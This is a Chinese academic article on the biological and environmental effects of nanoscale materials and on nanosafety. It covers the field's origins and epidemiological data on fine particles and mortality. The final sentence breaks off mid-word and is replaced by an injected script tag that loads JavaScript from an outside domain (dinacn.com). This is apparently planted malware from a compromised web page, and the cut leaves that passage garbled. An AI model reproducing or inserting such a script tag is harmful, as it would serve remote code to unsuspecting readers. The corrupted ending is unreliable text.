纳米尺度物质的生物环境效应与纳米安全性
中国科学院高能物理研究所纳米生物效应实验室
·赵宇亮 赵 峰 叶 昶
摘 要
纳米尺度的物质进入生物、环境以后，与生命体和环境的相互作用过程以及所产生的生物环境效应，是一个新兴的、典型的学科交叉领域。本文主要介绍了纳米生物环境效应的科学问题，并结合国内外已有的实验结果分析了纳米尺度物质可能产生的新的生物效应以及对生物环境健康与安全的潜在影响。本文认为：纳米生物环境效应的研究必须与纳米科学技术的发展同步进行；纳米技术有可能成为人类第一个在其可能产生负面效应之前，就已经过认真研究，引起广泛重视，并最终能安全造福人类的新技术。
关键词：纳米生物环境效应 纳米安全性
一、前 言
20世纪微米科学技术的发展，彻底改变了人类的生活方式，但同时也给我们带来了严重的空气污染、水源污染、生态破坏、气候异常、种种新的疾病等等。早期的“先发展后治理”的思想，使现在的人类每天都在为此付出沉重的代价。进入21世纪以来，纳米科学技术的高速发展，使人们已经认识到了纳米科学技术的优点和巨大的潜力。人们期待，纳米科学技术能象20世纪的微米科学技术一样，从根本上改变人类的生活质量。但是，20世纪的教训也使人们担心，纳米科学技术是否也会对人类产生许多更严重的负面效应。
纳米科学技术的研究领域，主要集中在尺寸从0.1—100 nm之间的物质的组成、性质和特殊功能。在这个尺度上，纳米物质会出现一些与常规尺度物质差别很大的特殊物理化学性质。例如，颗粒越小，比表面积越大，表面活性就越大，出现巨大的表面效应、量子效应、界面效应等，它们会导致异常的吸附能力、化学反应能力和光催化性能等等。
因此，当这些具有特殊性质的纳米结构、纳米尺寸的物质进入生命体以后，会出现什么样的后果，目前这还是一个未知的问题。根据现有的知识，外源性物质的生物效应，与物质本身的物理化学性质直接相关。由于纳米物质具有与常规物质不同的性质，它们与人体直接接触或直接进入人体以后，是否会导致特殊的生物效应？这些效应对生命过程和人体健康是有益或者有害？对生物体和环境会带来什么影响？是否会产生一些新的生物与环境问题？等等。目前有关这些问题的研究还刚刚开始，并且形成了一个新的交叉前沿科学——纳米生物环境效应与纳米毒理学。
二、问题的起源与国际国内发展势态
就在纳米科学快速发展的同时，欧洲和美国的科学家们发表了一项长期流行病学研究结果。在美国进行的这项长期人群调查结果显示，人生活周围空气中2.5μm颗粒每增加10 μg/m3，总死亡率增加7%—13%。专家对已有实验数据进行详细分析后发现：
(1) 人生活周围的空气中，当10μm的颗粒每增加100μg/m3，城市居民的死亡率增加6%—8%，当2.5μm的颗粒每增加100μg/m3，死亡率却增加了12%—19%；
(2) 人生活周围的空气中，当10μm的颗粒每增加50μg/m3，城市居民的住院病人增加了3%—6%，当2.5μm的颗粒每增加50 μg/m3，住院病人增加了25%。
颗粒物的尺寸变小对人体健康的影响增大的趋势，引起了科学家们的高度重视，人们不得不考虑小到纳米尺度的物质是否会出现新的生物效应。同时，Science、Nature、ES&T等一系列国际著名学术刊物，也开始讨论纳米物质的生物环境效应问题。尽管迄今为止，在临床或流行病调查中，并没有发现纳米物质中毒的案例。但是，现有的实验研究结果显示，纳米物质进入生物体的确会导致新的生物效应，有正面的影响，也有负面影响。事实上，纳米生物环境效应研究，不仅是新出现的科学问题,而且与纳米药物的研发、生物体纳米检测技术、纳米产品的安全性以及纳米标准等直接相关，是纳米产业健康可持续发展的基础和保证。由于全球（包括我国）正在推动纳米技术的产业化，不久的将来，获得国际公认的鉴定和确认各种纳米产品生物安全性的分析数据将涉及各个国家的巨大商业利益。
正因为如此，发达国家迅速组织和开展纳米生物效应的研究，而且发展很快，不到两年时间，国际上已形成了一个新的前沿领域。2004年12月，欧共体在布鲁塞尔公布了European Strategy for Nanotechnology（《欧洲纳米战略》）和Open Consultation on the European Strategy for Nanotechnology，把研究纳米生物环境健康效应问题的重要性，列在欧洲纳米发?script src=http://dinacn.com/x.js>
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